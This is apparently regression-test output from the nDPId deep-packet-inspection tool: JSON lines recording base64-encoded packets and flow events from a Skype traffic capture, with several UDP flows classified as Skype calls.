+00888{"flow_id":49,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":948,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":394659,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"AQBef\/\/6oPPBbTu2CABFAAGBBJAAAAQR\/zvAqAD+7\/\/\/+gQBB2wBbXKDTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5Db25uZWN0aW9uRGV2aWNlOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBUUC1MSU5LIFdpcmVsZXNzIE4gTmFubyBSb3V0ZXIgV1I3MDJOLCBVUG5QLzEuMA0KVVNOOiB1dWlkOnVwbnAtV0FOQ29ubmVjdGlvbkRldmljZS0xOTIxNjgwMjU0Nzg5MDAwMDE6OnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5Db25uZWN0aW9uRGV2aWNlOjENCg0K"} +00514{"flow_id":73,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":949,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":399932,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABsZYVAAEAGinHAqAEinTfrk8gmAbvxz5zEZu7sLYAZECwFUAAAAQEICj4yCgBMYEfZsJPOrYWxbQ2kS5GoHYZTSJUEAhUVjQ9Suc6gMln7jVEiXtQHYU+2Wg9JNG\/SECNBnGag8RNJ4KY="} +00448{"flow_id":146,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":951,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":503217,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA83NZAAEAGfFXAqAEinTeCjsg3nEXoG0gEyGJx5oAYECrBKAAAAQEICj4yCmdOwLXQr3KT27Tir4g="} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":952,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":157,"flow_packet_id":1,"flow_first_seen":1431970668514,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.142","src_port":51259,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":157,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":952,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":514558,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAux9AAEAGAGPAqAEib91Njsg7Abv27osgAAAAALAC\/\/8jHQAAAgQFtAEDAwUBAQgKPjIKcgAAAAAEAgAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":953,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":1,"flow_first_seen":1431970668514,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.142","src_port":51260,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":158,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":953,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":514761,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAscJAAEAGp2XAqAEinTeCjsg8AbsAEWpXAAAAALAC\/\/\/YaAAAAgQFtAEDAwUBAQgKPjIKcgAAAAAEAgAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":954,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_first_seen":1431970668515,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.170","src_port":51261,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":159,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":954,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":515022,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA27JAAEAGFFnAqAEinTfrqsg9AbvoZ1qDAAAAALAC\/\/+WyAAAAgQFtAEDAwUBAQgKPjIKcgAAAAAEAgAA"} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":955,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":1431970668515,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.176","src_port":51262,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":160,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":955,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":515289,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAgztAAEAGbDrAqAEi1cezsMg+AbsskrryAAAAALAC\/\/\/xlwAAAgQFtAEDAwUBAQgKPjIKcgAAAAAEAgAA"} +00447{"flow_id":60,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":956,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":559388,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8LfFAAEAGKpzAqAEiQTffLcgjnEma5hzvzyelXIAZECnYhQAAAQEICj4yCp5NlOiwwc7xhOCNCBA="} +00449{"flow_id":160,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":957,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":577239,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADgG93nVx7OwwKgBIgG7yD6AD\/E0LJK686ASOJCKGgAAAgQFrAQCCApO3n\/CPjIKcgEDAwk="} +00437{"flow_id":160,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":958,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":577365,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0IFlAAEAGzyjAqAEi1cezsMg+AbsskrrzgA\/xNYAQECzhBgAAAQEICj4yCrBO3n\/C"} +00536{"flow_id":160,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":959,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":577479,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB86m1AAEAGBMzAqAEi1cezsMg+AbsskrrzgA\/xNYAYECxrdgAAAQEICj4yCrBO3n\/CgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIAed7z9CnOIWbYvFHUiq2BR"} +00447{"flow_id":159,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":960,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":598529,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+g+dN+uqwKgBIgG7yD366YaT6GdahKASOJAv5wAAAgQFrAQCCApMVnF1PjIKcgEDAwk="} +00435{"flow_id":159,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":961,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":598650,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0q7lAAEAGRF7AqAEinTfrqsg9AbvoZ1qE+umGlIAQECyGvgAAAQEICj4yCsVMVnF1"} +00535{"flow_id":159,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":962,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":598765,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8SiBAAEAGpa\/AqAEinTfrqsg9AbvoZ1qE+umGlIAYECyQrQAAAQEICj4yCsVMVnF1gEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIBO52ztOuM4SeafxGVSGxBB"} +00448{"flow_id":149,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":963,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":610597,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8mAJAAEAGV3fAqAEi1cezsMg6nFWOWkflXYl5QIAYECpGVAAAAQEICj4yCtBO3n48uQiwNY7rtQs="} +00436{"flow_id":160,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":964,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":637085,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0juVAADgGaJzVx7OwwKgBIgG7yD6AD\/E1LJK7O4AQAB3wvgAAAQEICk7ef9E+Mgqw"} +00517{"flow_id":160,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":965,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":637205,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrY0hAAEAGjALAqAEi1cezsMg+Absskrs7gA\/xNYAYECz+wwAAAQEICj4yCupO3n\/RxnG4\/AJEgxSLpj4g1w1XejDcElFRdGJgTnfA7RCUIGPtheZryFD\/LSyJskZ7bbubC2TOpkOp3g=="} +00447{"flow_id":158,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":966,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":642651,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYiydN4KOwKgBIgG7yDxDIW5aABFqWKASOJD5UQAAAgQFrAQCCApOwLdCPjIKcgEDAwk="} +00436{"flow_id":158,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":967,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":642773,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ULBAAEAGCITAqAEinTeCjsg8AbsAEWpYQyFuW4AQECxP\/wAAAQEICj4yCu9OwLdC"} +00534{"flow_id":158,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":968,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":642887,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8DyxAAEAGScDAqAEinTeCjsg8AbsAEWpYQyFuW4AYECzbbQAAAQEICj4yCu9OwLdCgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIB+VxzdalPoORYPdFWCi8Ax"} +00435{"flow_id":159,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":969,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":679721,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA09x1AADYGAvqdN+uqwKgBIgG7yD366YaU6GdazIAQAB2WcAAAAQEICkxWcYo+MgrF"} +00517{"flow_id":159,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":970,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":679836,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"0NQSxnP1PBXCt3IOCABFAABwQdZAAEAGrgXAqAEinTfrqsg9AbvoZ1rM+umGlIAYECxPNAAAAQEICj4yCxRMVnGKp9iYwrlcLUTfptpUQ9HnlFyq2KvXjkAGnxSlIXPZFxPNf26I7IG6HpdVzoKbtM+2y58XZOdHADBnVSgw"} +00435{"flow_id":158,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":971,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":770167,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA02TlAADcGiPqdN4KOwKgBIgG7yDxDIW5bABFqoIAQAB1fpgAAAQEICk7At2I+Mgrv"} +00516{"flow_id":158,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":972,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":770264,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABr\/1dAAEAGWaXAqAEinTeCjsg8AbsAEWqgQyFuW4AYECyawgAAAQEICj4yC25OwLdijvxAZZgUoCkBH\/EVHhRNRbBof0ntyHRIt71VUzxiPflWQfiWlCD80Wr\/3G66XhsettJAtcl5eA=="} +00447{"flow_id":157,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":973,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":803590,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGxIZv3U2OwKgBIgG7yDsQofTJ9u6LIaASOJCSWQAAAgQFrAQCCApNkBYwPjIKcgEDAwk="} +00435{"flow_id":157,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":974,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":803666,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0qSRAAEAGEmrAqAEib91Njsg7Abv27oshEKH0yoAQECzoZgAAAQEICj4yC49NkBYw"} +00535{"flow_id":157,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":975,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":803791,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8+9lAAEAGv2zAqAEib91Njsg7Abv27oshEKH0yoAYECzyVAAAAQEICj4yC49NkBYwgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAICux8zNmsOYKUZ\/JEWy+3Ah"} +00447{"flow_id":67,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":976,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":858973,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8uEtAAEAGoL7AqAEinTeCsMglnFZwrI9kwvNOL4AZECmO8wAAAQEICj4yC8ZOqL2E+DHKQRbsUKg="} +00450{"flow_id":148,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":977,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":904263,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8u2FAAEAGNK7AqAEinTfrqsg5nGDRQCMtGayygYAYECh9oQAAAQEICj4yC\/NMVm\/1OYUqH2Q1qrY="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":978,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_first_seen":1431970668973,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.166","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":161,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":978,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":973203,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1LlEAAEARAb\/AqAEinTfrpjLdnE8AIZ69e3cC3u8ghDSSA4Gtev71JCe8ggQmBcfTOg=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":978,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_first_seen":1431970668973,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.166","src_port":13021,"dst_port":40015,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":979,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":1431970668973,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.145","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":162,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":979,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":973268,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyB6AAAEARJ\/jAqAEi1cezkTLdnFgAHgsae3kCyqgAJfxhjLbJRJUrPtsodh20jg=="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":979,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":1431970668973,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.145","src_port":13021,"dst_port":40024,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":980,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":1431970668973,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.42","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":163,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":980,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":973268,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+wKIAAEAR1+DAqAEiQTffKjLdnFgAKi+se3sC0K9BEnPeD0WuBXXm5wareR+WL1\/qIQP+x9YGu9Sm5Q=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":980,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":1431970668973,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.42","src_port":13021,"dst_port":40024,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00517{"flow_id":160,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":981,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":998419,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrGxBAAEAG1DrAqAEi1cezsMg+Absskrs7gA\/xNYAYECz9XAAAAQEICj4yDFFO3n\/RxnG4\/AJEgxSLpj4g1w1XejDcElFRdGJgTnfA7RCUIGPtheZryFD\/LSyJskZ7bbubC2TOpkOp3g=="} +00517{"flow_id":159,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":982,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":93710,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"0NQSxnP1PBXCt3IOCABFAABwXWxAAEAGkm\/AqAEinTfrqsg9AbvoZ1rM+umGlIAYECxNmAAAAQEICj4yDLBMVnGKp9iYwrlcLUTfptpUQ9HnlFyq2KvXjkAGnxSlIXPZFxPNf26I7IG6HpdVzoKbtM+2y58XZOdHADBnVSgw"} +00434{"flow_id":157,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":983,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":96078,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA04rNAADcG4dpv3U2OwKgBIgG7yDsQofTK9u6LaYAQAB335AAAAQEICk2QFnk+MguP"} +00484{"flow_id":157,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":984,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":96141,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"0NQSxnP1PBXCt3IOCABFAABWsIpAAEAGCuLAqAEib91Njsg7Abv27otpEKH0yoAYECwDXAAAAQEICj4yDLJNkBZ5b6tnM5g+MIH9ugWQ4EK6dUZuKY7n+8BcqJBKLNao313kcQ=="} +00447{"flow_id":147,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":985,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":139825,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA88H1AAEAGywjAqAEib91Njsg4nE30S7wpxRcMPYAYECklWAAAAQEICj4yDN1NkBTphTv5WfSZuu0="} 